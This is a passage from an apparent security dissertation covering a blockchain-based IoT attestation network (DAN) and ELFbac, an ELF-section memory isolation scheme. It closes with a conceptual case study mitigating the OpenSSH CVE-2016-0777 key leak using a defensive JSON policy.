within the infrastructure provider and network participants. A more straightforward
requirement for the IoT may be that each blockchain component should be executed
within a TEE or secure container.
Does the blockchain scale with the theorized IoT deployment numbers? It clearly de-
pends on what information is being included in the blockchain, by how many devices,
and how often. Naturally, we have concerns given the long-running estimation of
IoT devices, and the desire to maintain a complete lifecycle history. One potential
mitigation for these concerns is checkpointing [120]. Additionally, at least in the case
of the current generation of IoT devices, firmware and software updates are few and
far between. When considering dynamic attestation, there are efforts to increase effi-
ciency by only considering security-critical sections of code. All of these factors may
help to reduce the overhead of blockchain storage and computation.
What are the security concerns of offloading to the base station/gateway? Naturally,
the communication between the more anemic network nodes and the intermediate
device needs to be secure. Adding such a node within the network makes for a great
man-in-the-middle (MITM) target, and potentially introduces a single point of failure
that must be considered. Additionally, attestation now relies on a hierarchy as the
base station must be attested trustworthy along with any down-stream nodes.
4.6 Discussion
DAN is the first distributed attestation architecture that utilizes blockchain as a prin-
cipal component to facilitate remote attestation. It provides flexibility in establishing
a given attestation protocol. It mirrors the envisioned topology of IoT systems, and
it naturally satisfies the five constraints of an attestation system provided by Coker
et al. [55]:
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Measurement of diverse aspects of the target attestation. DAN is not limited to a
particular attestation method. Both static, load-time measurements and dynamic
runtime measurements may be recorded within the blockchain.
Separation of domains for measurement. In the prototype we built, we rely on hard-
ware TPMs to facilitate our root of trust. As discussed earlier, hardware mechanisms
for trust are evolving to satisfy the constraints of the IoT. Trust anchors are trans-
parent to DAN implementations.
Self-protecting trust base. The trusted base for an individual device’s attestation may
vary depending on services being attested, or the requirements of the validator that
is used.
Attestation delegation. The principles of DAN naturally allow multiple verifiers or
validators of attestation. In fact, it is easily conceivable that multiple different valida-
tors may verify different attestations. This creates the opportunity for trust decisions
based on a more comprehensive assessment of a target device.
Attestation Manager. The blockchain can naturally realize this concept by providing
a distributed ledger containing all of the measurement and attestation tools currently
supported by various devices. The DAN, as we have implemented it with Hyperledger
Fabric, can also enable the constrained disclosure requirements by utilizing customized
membership services and standard PKI.
4.7 Related Work
In this section, we provide an overview of related prior work. Attestation is a mature
and robust field of study. Our design of a distributed attestation network utilizing
blockchain does not specify an attestation method or protocol. As such, we focus on
distributed attestation and IoT systems.
BIND [256] introduced granularity to attestation. The authors describe a process
of annotating programs to guide the attestation of critical code sections and then
link that code to the resulting data. DAN supports the idea of granularity by being
agnostic to what data is being attested.
Yang, Wang, Zhu, and Cao [307] consider the problem of identifying compromised
nodes within unattended sensor networks. They propose two distributed software-
based algorithms for detecting such compromise even when multiple compromised
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nodes collude during attestation. A fundamental assumption is made that every
node within the network must participate in the attestation. The design and imple-
mentation of DAN does not require this constraint. And indeed, it is a constraint
for IoT networks that may be heterogeneous and interdependent concerning services.
DAN allows attestation between a single prover or many.
Chen and Wang [52] consider homogeneous wireless sensor networks and show optimal
metrics for how often to attest and how many neighbors to require. DAN allows both
ad hoc and periodic attestations and validations to be recorded into the blockchain.
SEDA [25] and SANA [9] provide collective attestation techniques for swarms. The
network topology considered in swarms requires that nodes only be able to commu-
nicate with their direct neighbors. Our implementation of DAN does not assume
this constraint. In fact, DAN can be used to facilitate all communication via the
blockchain with requests for attestation, and the subsequent results and verification
all published. Additionally, most swarm attestation techniques result in each de-
vice within the multitude being attested, while DAN could facilitate either single or
multi-party attestation and verification.
Fremantle et al. [91] proposed the use of blockchain for IoT devices with a reliance on
intermediate, more powerful machines, termed pythia. The current implementation
of DAN similarly relies on intermediate devices to perform blockchain operations;
however, promising work is being done to create light-clients that may make it feasible
for resource-constrained devices to communicate directly with the blockchain. For
DAN, the primary concern would be the storage of the blockchain, especially for
long-lived devices.
Liang et al. [177] use SGX-based remote attestation and Hyperledger to build a secure
membership services platform. In contrast, DAN relies on a hardware root of trust;
however, software-based attestations are equally supported. DAN is flexible enough
to allow various roots of trust on edge devices.
Tan et al. [277] consider a multi-tier attestation protocol that relies on more powerful
devices with hardware TPMs, and more anemic devices utilizing software roots of
trust. Unlike their work, we do not assume a single trusted device to issue attestation
challenges; instead, DAN is flexible and allows a variety of attesting relationships
across multiple organizations.
WISE [12] is a flexible swarm attestation scheme that allows subsets of devices to be
attested based on the history or characteristics of each device. An assumption for
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swarm attestation is still that all devices be attested by each other. While DAN could
support this sort of attestation because of the history already contained within the
blockchain, it is not necessary for any given transaction amongst various IoT devices
that every device in the network be attested.
CIoTA [101] is a framework for anomaly detection that relies on blockchain. An
anomaly detection model is attested to the blockchain and used to iteratively build
a combined, dynamic model that is distributed to each device. Our implementation
of DAN is more generalizable in that we are not focused on anomaly detection, but
encourage multiple and varied attestation schemes in addition to our interests in asset
and identity management and forensic audits.
RADIS [58] is a protocol for distributed service attestation. The authors rightly con-
sider the cascading effect of compromised dependent services and describe a method
of attestation in which attesting service 1 on device 2, may require attesting service
2 on device 3. Our implementation of DAN could facilitate this sort of cascading,
given the requisite attestation of each device within the blockchain. Care must be
given to the implemented protocol to prevent time-of-check to time-of-use (TOCTOU)
vulnerabilities, race-conditions, and circular dependencies.
4.8 Conclusions
In this chapter, we introduced DAN: a distributed attestation network that utilizes
blockchain technologies to decentralize and distribute attestation. DAN is the first
attestation architecture in which blockchain integrates directly with the attestation
protocol. DAN allows a variety of complex relationships to exist between producers,
consumers, and validators. Additionally, DAN is flexible enough to support a multi-
tude of validators using different attestation mechanisms at the same time. By relying
on the blockchain, new and interesting applications are possible, for example, device
lifecycle histories and forensic audits. In the future, we plan to extend the current
state of the art attestation protocols into DAN and continue to use our testbed for
quantitative evaluation and feasibility testing, such as comparing the power efficiency
between hardware and software roots of trust. The security of DAN is currently
based upon the assumption of guarantees provided by the underlying hardware, pro-
tocols, and cryptographic infrastructure of the blockchain. A more formal model of






The principle of least privilege states that components of a system should use the
least set of privileges necessary for correct operation [238]. The goal of this concept
is to limit the exposure of vulnerabilities within a system. For example, a non-
administrative user should have more restrictive access control permissions than a
system administrator. Similarly, a web browser should generally not have default
access to critical operating system files. In this way, a vulnerability in one component
(e.g., a web browser) should ideally have no impact on the overall operation of the sys-
tem. Privilege separation, memory protection, process isolation, and containerization
are widely deployed mechanisms of least privilege on modern computing platforms.
In 2003, more than twenty-five years after Saltzer and Schroeder’s work, Provos,
Friedl, and Honeyman recognized that least privilege should be applied not just to
the interprocess workings of a system (e.g., those between programs), but also to
the interactions amongst individual units of execution within a single program (e.g.,
functions) [216]. Their idea was to divide system services (e.g., network daemons) into
pre- and post-authentication phases, with functionality and access control permissions
restricted according to the context of each phase. For example, network daemons
drop privileges after a certain point in execution to prevent privilege escalation. The
resulting isolation limits the exposure of vulnerabilities within a system.
In the last decade, Bangert et al. from our lab introduced Executable and Linkable
Format (ELF) based access control (ELFbac) [32, 33], a direct successor to privilege
separation as applied to intraprocess memory isolation. ELFbac is a technique for
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constructing security policies at the Application Binary Interface (ABI) level. ABIs
establish the rules of interaction between pre-compiled code objects, such as functions,
libraries, and operating systems. These rules include definitions for primitive data
types, calling conventions, and the binary formatting of said objects. This is a natural
place to denote privilege separation because the semantics of scope and privilege
already exist.
In this chapter, I present two case studies on vulnerability mitigation with ELFbac.
The rest of this chapter is organized as follows: Section 5.2 will cover background
on ELFbac. Section 5.3 will detail an OpenSSH vulnerability and its mitigation via
ELFbac. Section 5.4 will address the Spectre vulnerability and its mitigation via
ELFbac and MPKs. Finally, concluding thoughts are presented in Section 5.5.
5.2 Related Work
Many vulnerabilities arise as a result of a mismatch between a programmer’s men-
tal model of software and the reality that exists when computation is performed in
real-world environments. By definition, software bugs induce unintended computa-
tion. Whether benign or malicious, these exploits become proofs-by-construction (in
a practical and mathematical sense) to the discrepancies present between a program-
mer’s intent and a program’s actual behavior. Were programmer intent explicitly
codified in policy, enforcement mechanisms for that policy would become the de facto
gatekeeper between intended computation and exploitation.
Unfortunately, preceding policy approaches have fallen short in protecting userspace
code from network inputs. The standard process model provides all code within
a process the same privileges to access data within the address space. Policy in-
ference methods that rely on language features or hardware capabilities ignore the
programmer’s intent. In contrast, ELFbac allows programmers to specify the intent of
semantically distinct, intraprocess relationships (found between code and data) at the
granularity of ELF sections (the primary container of code and data within ELF), and
to separate program components (such as functions, modules, and libraries) within
a process’s address space. This delineation of code and data relationships aligns
naturally with the typical programmer’s understanding of scope.
Policy definition and implementation must be simple and straightforward to be useful.
Policies must strike a balance between the simplicity of creation and the aggressive-
ness of enforcement. Prior policy mechanisms have shown that, in practice, policies
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can be overly pedantic and unwieldy, forcing a significant cognitive burden on the
policy creator. Alternatively, policies may be overly broad, frustrating users and re-
sulting in the circumvention or outright abandonment of policy enforcement. Policy
definition within ELFbac is less onerous than previous methods. Policies are defined
in a familiar language and can be tailored to specific code and data, whether func-
tions, whole libraries, or entire applications. In this way, policy creation may be
limited to only those parts of an application that are security-critical. Meanwhile,
policy enforcement still allows for the broad capture of unintended computation.
ELFbac policy enforcement monitors the defined code and data units and only al-
lows explicitly defined interaction patterns. Enforcement is accomplished through the
existing virtual memory management code found within the kernel. Undesirable com-
putations become illegal memory accesses, resulting in a denial of access or outright
segmentation faults. This approach to policy definition leverages a programmer’s own
understanding of the security boundaries within a program, and enforcement renders
common classes of vulnerabilities inert by disallowing unspecified computation and
data disclosure.
5.2.1 Reinventing the Privilege Drop
This policy approach is a continuation of the classic privilege separation design, which
is an instance of the least privilege principle. The classic privilege drop policy primi-
tive postulates that an application should signal the system when it no longer needs
an initially granted privilege. Therefore, any subsequent attempts by the application
code to perform a privileged operation are flagged as policy violations and invoke a
policy response, such as killing the process. In network daemons, listening for connec-
tions on a non-ephemeral port and spawning a user’s sessions required root privilege,
whereas subsequent processing of the user’s data typically did not. Thus, the act of
dropping privileges expressed the programmer intent to no longer use root privileges
after a particular point in time.
Some suggestions extended this further—for example, the disablenetwork() system
call [36] by DJ Bernstein would signal the OS that a program intended to initiate
no new network operations from this point on. Implementing some form of privilege
drop has become an expected design element for network daemons, proving to be an
effective mitigation. The idea of dropping privileges similarly underlies the design
of SELinux, or Security-enhanced Linux. SELinux mediates system calls based on
the security label of a process and the security label of an object, such as a file or
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socket, involved in Linux system calls. As processes get spawned by their respective
parents (that chain of parents ultimately going up to init), every execv() system
call checks the policy rules and assigns a new security domain to the new process.
These security domains restrict the access rights of the child process to just the ones
specified by policy. Notably, SELinux treats the access permissions it enforces as a
“bag of permissions” that a process, once created with a particular security label, can
exercise in any order and any number of times.
Previous policy systems focused on the accesses of a process to a system’s objects,
such as files, and aimed to capture the programmer’s intent with regard to such
accesses. Although classic and still indispensable, this view of intent is insufficient for
modern applications that may keep their objects in memory and never really trigger
a disk operation (which is mitigated by the policy mechanism) until it is too late.
For example, the attacker may be after a cached copy of a cryptographic key in a
daemon’s memory, or after the integrity of a memory representation of an object
describing access permissions. Thus, in the presence of ubiquitous caching and other
performance optimizations, the policy must also mitigate access to such objects to
be effective. SELinux and other mandatory access control systems relying on file
accesses have become less effective in a world where not everything one cares about is
neatly encapsulated in a file—contrary to the Unix guiding principle that everything
is a file.
This brings us to the necessity of defining a new class of programmer intent, namely
intraprocess memory references by units of execution within a program. As a modern
program gets assembled out of many functions, classes, modules, and libraries, the
programmer’s intent with respect to these components’ ability to access certain kinds
of data becomes essential. For example, the programmer likely does not intend for
an image processing library used by a web-server to access the server’s private keys.
Nevertheless, this is precisely what happened in a number of exploits wherein a crafted
image triggered a vulnerability in the image processing library to corrupt data units
in memory unrelated to image processing [221].
Thus, a programmer may be interested in protecting code from unintended interac-
tions with the library code that the program would not regularly use, but that is still
loaded as a part of a dynamically-linked library (DLL) or shared object. Conversely,
a library author may be interested in protecting the integrity of the data a library
handles from the code that processes, and may be exploited by, host-style inputs.
Existing policy solutions provide no support for expressing such intents other than
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performing the library call into a dedicated, newly spawned process. This solution is
highly effective [37], but it is too expensive for modern multithreaded architectures.
Programmer intent and expectations with respect to libraries can be generalized to
any code units, such as those contained in a C-language compilation unit (where,
for example, shared objects may be declared “file-scoped” to underscore that they
are not supposed to be referenced, and therefore accessed outside of the file by any
code outside the given file). Indeed, such intent idioms are broadly used in the Linux
kernel itself.
5.2.2 Executable and Linkable Format
Executables in many Unix-like systems are structured by ELF files. These files cap-
ture the code and data of an executable as well as the necessary metadata used to
create a process address space. The information within these ELF files is used by an
operating system kernel to link, load, and construct a runtime process.
ELF files comprise sections and segments. Sections contain all the information re-
quired to link and build an executable. Each section defines semantically distinct
units of code and data, with as many as 30 sections within a single executable. There
may exist exclusive intersectional relationships, such as data readable or writable
by only a specific code section. Many of the default relationships are predefined by
language or runtime standards, such as glibc’s initialization prior to main(), code
relocation, and dynamic linking. However, sections and their relationships are easily
customizable at compile time with special compiler pragmas and linker scripts.
Sections are packed together by the linker to create segments based on attributes,
such as memory permissions. This packing is primarily a hold-over optimization based
on limited memory, smaller caches, and perceived address space scarcity. Common
segments like .rodata and .text will be familiar to many programmers. The ELF
format naturally captures code and data semantics intended by the programmer—but
the loader then discards this information! For example, read-only data contained in
non-executable sections can be grouped with default, executable code sections. This
often violates the mental model and intent of the programmer. As a result, several
“weird machines” [44], or unexpected computational engines, have been discovered to
take advantage of these mismorphisms1 via techniques such as memory corruption,
1I kindly appropriate this term from the work of Smith, Koppel, Blythe, and Kothari on human
policy and the reality of security circumvention [262]. Software vulnerabilities are a natural extension























Figure 5.1: The ELFbac architecture. Legacy code is compiled and linked with an
ELFbac policy. During runtime, an ELFbac-aware loader and kernel shim enforce
the policy via transitions within a finite-state machine.
control flow manipulation, and code reuse.
5.2.3 ELF-based access control
Modern programming is a miracle of abstraction. Complex programs are built through
the composition of variables, functions, classes, modules, and libraries pulled from an
increasingly complex hierarchy of code sources, both internal and external to a given
project. Trustworthy computation is an intricate dance among the wildflowers of
intent—those being planted by the programmer (under the design constraints of the
current project) and those seeded by the creators of ABIs, compilers, and libraries
used and borrowed from to create the final result.
ELF sections are vehicles for programmer intent and are thus natural security policy
primitives. In this light, the linker becomes an expressive policy tool, useful for
defining intersectional relationships between code and data. ELFbac attempts to
reclaim the intended semantics of the programmer by leveraging an “unforgetful”
loader to preserve the section identity of loaded memory segments. Thus, the loader
becomes a policy enforcement mechanism, responsible for mapping sections into a
process address space and setting up traps for unintended accesses within the virtual
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memory system.
Figure 5.1 shows the ELFbac architecture. The compilation phase of legacy code
requires minimal, if any, modification. ELFbac policies are defined separately in a
standard linker script format. An ELFbac-aware linker2 then maps the legacy object
code according to the defined policy. The final step prior to runtime is to create a
process address space and load the now-combined objects into place. This is done with
the help of ELFbac’s “unforgetful” loader that does not discard the section metadata,
but rather enforces the relationships specified. During runtime, a kernel shim utilizes
the policy state machine to enforce access control.
ELFbac policies define a set of rules codifying the semantic relationships between data
and code, specifically the access controls (i.e., read, write, and execute permissions)
associated with their encapsulating sections. Policies are represented by finite state
machines (FSM), with each state defining a particular abstract phase of program ex-
ecution driven by a given section of code. State transitions are achieved via memory
accesses (“data transitions”) and function calls (“call transitions”). Each transition
rule specifies a source and a destination state as well as the interval of virtual ad-
dresses that trigger the transition. Throughout program execution, state integrity is
maintained via the following invariants: (1) the program counter points to a location
within the current state’s code section, and (2) control flow has proceeded from either
the initial state or an allowed previous state.
Policy implementation relies on replacing the kernel’s view of a process’ virtual mem-
ory context with a diversified collection of “shadow” contexts, each representing a
single policy state. Each shadow context only maps those regions of memory that
can be accessed in the current state according to the policy. Permitted accesses tran-
sition the state machine and may update the virtual memory context of the process.
Meanwhile, any policy violations (unintended memory accesses or function calls) are
trapped, leading to error handling code or, ultimately, a segmentation fault.
Utilizing ELFbac policy allows the enforcement of simple semantics, such as “input
data can only be read by parsing routines” or “cryptographic keys should only be
read or modified by cryptographic code.” In general, Turing-completeness makes it
challenging to issue substantive statements about a program and its execution. In
fact, the Rice-Shapiro theorem [226] shows that proving such sufficiently complex
statements about a program is undecidable. However, as FSMs, ELFbac policies are,
2The code for this linker can be found at https://github.com/sergeybratus/elfbac-arm/t
ree/master/tools/elfbac-ld
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at least computationally, much easier to reason about. For example, it is trivial to
prove a policy that enforces “data from the filesystem must be encrypted before being
sent over the network.” This could be achieved simply by isolating all network-related
code into a single state and requiring all data transitions into that state to originate
from a cryptographic state. In this way, ELFbac guarantees that all data will have
been encrypted before being sent over the network.
ELFbac is a tool our lab released in 2014 [32]. ELFbac represents a novel addition to
the principle of least privilege [238]. By controlling the relationships between sections
with ELFbac policy, and preserving the semantic intent with an ELFbac aware loader,
ELF binaries can be created with explicit memory access controls at the application
binary interface (ABI) layer ( Figure 5.1). These policy-infused binaries can then
be enforced at runtime with minimal modifications to the operating system kernel,
utilizing the existing memory management and page table mechanisms.
ELFbac relies on three components:
Mithril. A custom policy tool, Mithril [31], reads the policy in a Ruby-based domain
specific language (DSL) and converts the policy to a binary representation comprising
the various states, the code and data accessible from each state, and the transitions.
The tool then injects this binary representation as a separate .elfbac section in the
same binary. This process is depicted in Figure 5.2.
ELFbac Loader. An ELFbac-aware loader reads the .elfbac section within the
binary and preserves the policy while building the process memory space.
ELFbac-enhanced Kernel. A Linux kernel is modified to implement a load_-
policy() syscall which imports the ELFbac policy from an ELFbac-modified binary.
The kernel looks for the .elfbac section during load time, and builds a data structure
called elfbac_struct from the contents of the section. This data structure contains
the state machine of the program, the locations that trigger state transitions, and
top-level page-table directories for each state. Additionally, a modified page table
handler provides an opportunity to validate state transitions within the policy FSM.
5.2.4 Memory Architecture
The primary policy enforcement mechanism used by ELFbac is the existing memory
management unit (MMU). To understand how ELFbac interacts with the MMU, we













Figure 5.2: ELFbac policy injection via Mithril. The tool includes the ELFbac policy
into a special .elfbac section within the modified binary.
virtual memory abstraction in which each process is provided its own view of system
memory resources. As Figure 5.3 shows, the CPU accesses memory using virtual
addresses. This model requires that, at some point, virtual addresses be translated
to the physical addresses of real memory for data to be accessed. Page tables provide
the necessary mechanisms for such a translation. Each page table entry (PTE) must
specify whether a page exists in memory or not, the location in memory of the page,
as well as metadata such as page permissions and dirty bits. When an address is
not present within the page table, a page fault occurs and must be resolved via disk
access.
While virtual memory and page tables are now ubiquitous, implementations may vary
from a single, system-wide page table to multiple page tables, each with multiple levels
of indirection. Searching a page table through these multiple levels, often called page-
table walking, can be very time consuming. As an optimization, an address-translation
cache called the translation lookaside buffer (TLB) maintains a quick-access mapping
of PTEs. A TLB miss occurs when an entry does not exist in the TLB, and thus
the page tables must be walked to locate the requested data, cache the data in the
various L1/L2/L3 caches, and cache the PTE in the TLB for future access.
5.2.5 How ELFbac interacts with the Architecture
ELFbac policies are written using a DSL akin to standard linker scripts. Each ELFbac
policy defines a series of states and allowed transitions between states, creating a




















Figure 5.3: A general memory architecture. CPU’s rely on virtual memory addresses
and the translations provided by the MMU.
shadow contexts are also created which map each state to new virtual memory pages
and page table entries. This can be an expensive operation, so the pages are loaded
lazily such that they are only filled when first accessed.
When a program’s policy has z states, m code sections, and n data sections, in the
case of the most fine-grained policy—where each code section is in a separate state,
and these sections may access any or all of the n data sections—the total number of
virtual memory pages allocated would be m + n. Whereas, if the programmer does
not want to impose any permissions on the data, they need not be placed in separate
sections, but depending on the size, they could all be in the same data section. Thus
the number of code sections is the same as the number of states, or z + 1 virtual
memory pages allocated.
During runtime, virtual memory pages are accessed and loaded as usual; however,
state transitions naturally trigger page faults. The ELFbac kernel piggybacks the
existing page fault handler to validate any transitions based on policy access controls.
For example, the kernel checks the current state of the faulting code, the state of the
desired page, and any policy permissions that might restrict access. In the case of
valid state transitions, a new shadow context is created with the accessible pages
loaded, and the TLB is flushed to avoid any access to previously cached page entries.
Alternatively, policy violations (invalid transitions) trigger page access faults.
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5.3 OpenSSH
In this section, I present a case study of ELFbac’s use in mitigating CVE-2016-
0777 [222], the “roaming bug” found in the OpenSSH client. Through this vulner-
ability, a malicious server can fool a client into disclosing private data, including
authentication keys. ELFbac allows us to prevent this potential disclosure of client-
side private key material and, in general, to enforce the principle of least privilege
over multiple program execution units with existing memory isolation mechanisms.
Utilizing ABI-level policy enforcement, we recapture the privilege separation inherent
in a programmer’s mental model of scope and thus reinvent the privilege drop at a
lower level than seen before.
This case study focuses on a particular kind of intraprocess access intent which is
fundamental for network daemons and any other code that must process untrusted
data. The logic of input validation implies that potentially host-style crafted data
passes through a validation code-unit, after which it is assumed validated and safe for
the rest of the code to process. We regard the ability of code to access raw input as
a dangerous privilege that must be constrained to only the code that needs it. This
insight comes from the experience of both parser bug exploits and the very code that
was supposed to validate inputs, as was the case with several high profile OpenSSH
vulnerabilities, including the roaming bug. Conversely, the code that validates input
data is not intended to access other kinds of data generated during input processing.
Our policy system allows the programmer to specify these expectations at the level
of code units and to have them enforced by the kernel. In this sense, the policy
mechanism we present is a direct successor of the privilege drop applied to memory
access.
The Secure Shell (SSH) network protocols are the most popular method of securing
remote communications over insecure networks. SSH has been ported to nearly all
modern hardware and operating systems, demonstrating its ubiquity. The popularity
of SSH is such that adversarial scanning for SSH installations with default credentials
is continual on the internet. Any connected host, unless protected by a firewall,
can expect at least dozens, if not hundreds, of scans in an hour. SSH is the primary
means of securely managing internet routers (e.g., Cisco and Juniper) and many other
devices that offer command-line shell interfaces. In a nutshell, SSH is a vital part
of the management infrastructure for both the internet and the Internet of Things
(IoT).
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OpenSSH is a free and open-source implementation of the SSH protocols. Since its
release in 1999, OpenSSH has been the most popular implementation for securing
remote communications. OpenSSH is the de facto standard for encrypted, remote
communications on Unix-like systems. Its usefulness is evidenced by the continual
addition of new features, such as connection and credential forwarding, fully func-
tional virtual private networks (VPNs), and a variety of methods for constructing
fully functional VPNs. SSH is the most lightweight method for remote access to em-
bedded devices that provides cryptographic protections without the full weight of a
PKI.
The OpenSSH codebase is regarded to be one of the most dependable of its kind
for security. Not surprisingly, announcements of OpenSSH vulnerabilities are critical
security news. These vulnerabilities are not frequent, owing to OpenSSH’s principled
and straightforward design and architecture. However, their impact is so significant
that every time they happen, they inspire not just fixes, but new security mitigation
mechanisms. Discovering a bug that is exploitable prior to a user authenticating to
a remote server, so-called pre-authentication vulnerabilities, in OpenSSH has been
enough for an attacker to achieve instant notoriety. For example, the discovery of
the 2002 GOBBLES remote code execution (RCE) bug [220]), a pre-authentication,
challenge-response vulnerability, underscored the point that input parsing vulnerabil-
ities are not a thing of the past, even in highly audited and concise codebases such
as OpenSSH.
OpenSSH was the original target for Provos, Friedl, and Honeyman’s privilege separa-
tion [216]. Their rearchitected design of OpenSSH moved the handling of credentials
into a separate restricted environment. Each new remote connection spawns a new
process (referred to as the “master”) that must run in a privileged mode in order to
allow authentication of key exchanges and the creation of further processes with the
privileges of an authenticated user. With privilege separation, instead of handling a
new connection on its own (within the context of its privileged mode), the master
process forks “slave” processes without privileges3 to handle new connections. These
slave processes do not have access control permissions to create pseudo-terminals, au-
thenticate keys, or create new processes. Instead, they may only request these actions
be performed on their behalf by the master process. In this manner, vulnerabilities
exploited within a slave process should be isolated by its unprivileged execution mode.
3In many Unix variants, the privileges of a child process are inherited from its parent. These
privileges must be abandoned by the child, effectively leading to the phrase “privilege drop.”
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Thus, the discovery in 2016 of a new remote vulnerability in OpenSSH, the “roaming
bug” [222], has been big news in the security world, and it was one of the vulner-
abilities that got its own themed coverage in industry press [281]. As before, the
weakness behind this vulnerability was due to the parsing of attacker-crafted data.
Previous mitigations for such parsing flaws have failed. Since there is no generic way
of eliminating parsing vulnerabilities in C/C++ code, a new class of mitigation is in
order. We present a policy and corresponding mitigation of this kind.
Our choice of OpenSSH as the target for applying our policy mitigation is not acci-
dental. As a direct successor to privilege separation, ELFbac can be shown to easily
mitigate certain classes of vulnerabilities in a wide variety of applications, including
OpenSSH. Additionally, as in several prior instances, OpenSSH—due to its infras-
tructure importance and exposure—is perhaps the best target for showcasing a new
mitigation.
5.3.1 Roaming in OpenSSH
We consider OpenSSH here because of its open-source, modular architecture, and a
ubiquitous presence on modern operating systems. Of particular interest is its use
within Industrial Control Systems (ICS) and the IoT. With the growing prevalence
of commercial off-the-shelf (COTS) hardware and software being utilized within the
industry, in conjunction with the popularity of OpenSSH’s (often default) deployment
and the reality of recent vulnerabilities targeting it, the security of remote communi-
cations is increasingly important and precarious.
In version 5.4, released in 2010, the OpenSSH client introduced an experimental and
undocumented "roaming" feature. The purpose of roaming was to allow the resump-
tion of suspended sessions (e.g., in the case of unexpected network termination). To
accomplish this feature, upon session interruption, the client would maintain a buffer
of (unsent) messages to send to the server upon reconnect.
In 2016, CVE-2016-0777 disclosed an information leak present in the implementation
of OpenSSH’s roaming feature [222]. Although roaming was never officially supported
by the OpenSSH server-side, a malicious or compromised server could persuade an
OpenSSH client (installed with default settings) to send arbitrary data via the roam-
ing protocol, including potentially exposing private SSH keys.
Figure 5.4 shows a simplified execution leading to data exposure. Prior to an SSH




























… Roaming messages and SSH keys.
Figure 5.4: The information leak within OpenSSH. A malicious server convinces a
client to return sensitive data upon a roaming reconnect.
server. Presumably, the client will have previously loaded a user’s private SSH keys
into memory. Ideally, these keys would be expunged; however, in practice misuse of
library functions (such as fopen()) and internal IO buffering allows the memory to
persist. Part of the authentication protocol handshake permits a special identifier
in-place of the key-exchange algorithm (KEX), “resume@appgate.com”, sent by the
server. A default client would see this identifier and initiate the roaming protocol.
After successfully establishing a connection and authenticating, a client-side buffer is
created to store messages in the event of an interruption. As shown in the figure, the
roaming buffer allocation overlaps the memory currently storing the (un-expunged)
private SSH keys. During disconnection, the client stores messages within this buffer.
In the event of a reconnect, the server can request an arbitrary amount of the buffer
to be re-sent, including parts of the buffer that were never written. To successfully
achieve full exploitation, a server needs to perform some heap massaging to control
the desired return-data, guess the client-side buffer size, and request all available
data within that buffer. As a result, data that may have been previously freed but
not overwritten (for example, private SSH keys) that overlap the client-side buffer
allocation are openly available to the server.
This vulnerability is not complicated to exploit (requiring no user interaction), and
the risk of confidentiality exposure is quite high [222]. However, this vulnerability
was given a medium ranking due to several mitigating factors, chief among them the
ease by which the roaming feature could be turned off and the fact that server-side
roaming had never been released. Therefore, the only vulnerability exposure was to
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malicious servers.
However, its existence highlights a fundamental concept of secure programming—that
of intent. An experimental feature was released publicly on the client-side without
corresponding code on the server-side. It is clear that, in the event of the feature’s
release, the developer(s) never intended for the server to control how much data was
returned or that the returned data might include confidential credentials. This is
where security policy, and ELFbac in particular, becomes relevant.
Several mismorphisms in concert could contribute to this vulnerability being ex-
ploited: use of a server controlled buffer size, use of previously allocated but uncleared
memory (malloc vs. calloc), unknown dependence on internal IO buffering, and trust
in the server to decide how much data is re-sent.
For a more detailed analysis, see the Qualys security advisory [218].
5.3.2 Mitigation of CVE-2016-0777
To demonstrate the effectiveness of ELFbac, we looked at CVE-2016-0777, the “roam-
ing bug,” within OpenSSH 6.4p1. As stated above, the primary issue was an informa-
tion leak within the roaming code that could result in cryptographic key disclosure.
This is a mismorphism: access that was not possible in a programmer’s mind is possi-
ble in reality. Conceptually, our goal was simple: to isolate the network code from the
cryptographic key material. ELFbac is the natural means of expressing this isolation
as a policy goal.
Retrofitting policy into existing software of any complexity can be painful. However,
thanks to OpenSSH’s modular architecture, ELFbac policy and enforcement can be
realized with minimal changes. First, a code review was required to identify the code
modules and functions related to cryptography and network communications. Once
the necessary code and data are found, a policy can be crafted to define and isolate
the desired relationships.
Figure 5.5 describes an ELFbac policy FSM compatible with the existing composition
of OpenSSH that isolates cryptographic code and data from network communication.
The policy does not attempt to enumerate all possible states within OpenSSH; in-
stead, we limit the scope to only those states of interest to the vulnerability at hand.
The start state represents any setup and initialization that OpenSSH would generally














































































































































Figure 5.5: The ELFbac policy for CVE-2016-0777. Three states (start, packet, and
crypto) represent the various phases of program execution. Each state is associated
with a private and shared process memory layout. This dissection allows ELFbac to
enforce separation between crypto-related memory and network traffic.
communication are given a separate state, labeled packet. Finally, a crypto state col-
lects the cryptographic code and data related to, for example, encryption and private
keys.
Each state maintains a private view (or “shadow”) of memory, including private heaps.
This is the primary method of isolation within ELFbac. In addition, a separate view
of the process address space is created to allow any necessary data sharing. For
example, a packet_heap is created that allows code within the crypto and packet
states to communicate. Many function call transitions exist within OpenSSH. For
brevity and conciseness, only a few function calls that trigger state changes are shown.
Figure 5.6 shows the policy in action, as we walk back through the information leak

















Figure 5.6: The information leak in OpenSSH with ELFbac’s memory isolation policy
in place. When the malicious server requests the roaming heap, it will no longer
contain any cryptographic key material.
however, a malicious server would no longer receive messages containing key-material.
To establish the remote connection, OpenSSH will transition between the start and
packet states with ssh_connect(). Part of this connection will require authentica-
tion, which means a transition into the crypto state. At this point, cryptographic
keys have been written to memory within the crypto heap, inaccessible to any other
states. Similarly, once the connection has been completed, the client-side roaming
buffer will be stored within the roaming heap, again isolated from other states. Upon
a disconnect and subsequent resumption of the session, the server may request as
much of the buffer as desired. While it may be poor practice to ignore consistency
checks between the written client-side data versus the amount of buffer requested,
the result is unaffected. Cryptographic keys no longer share the same memory space
as the roaming buffer, and the information leak is mitigated.
5.3.3 Policy Definition
The policy is defined in JSON, using a format familiar to anyone with knowledge of
linker scripts. Each state is defined, with the associated sections created or shared
appropriately. Listing 5.1 is a condensed view of the policy state and transition
definitions.
Due to this breakdown, any cryptographic keys stored will be on the crypto-state
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Listing 5.1: The JSON definitions for the ELFbac FSM policy state and call transi-
tions.




5 "sections ": [
6 { "name": "packet_heap", "description ": "*(. data.packet_heap)", "flags ": "rw" },






12 "sections ": [
13 ...
14 { "name": "crypto_heap", "description ": "*(. data.crypto_heap)", "flags ": "rw" },
15 { "name": ".data.packet_heap", "create ": false , "flags ": "rw" },
16 ]}, ... ]
17




22 "address ": "seed_rng",
23 "param_size ": 0,




28 "address ": "ssh_connect",
29 "param_size ": 0,




34 "address ": "cipher_init",
35 "param_size ": 0,
36 "return_size ": 0
37 }, ... ]
heap. In the event that a rogue server is able to perform the exploits necessary for
the roaming vulnerability to trigger, any attempts to access the crypto-heap from
packet-code will be caught by ELFbac, resulting in a segmentation fault.
To utilize the newly created custom state-heaps, OpenSSH’s buffer initialization rou-
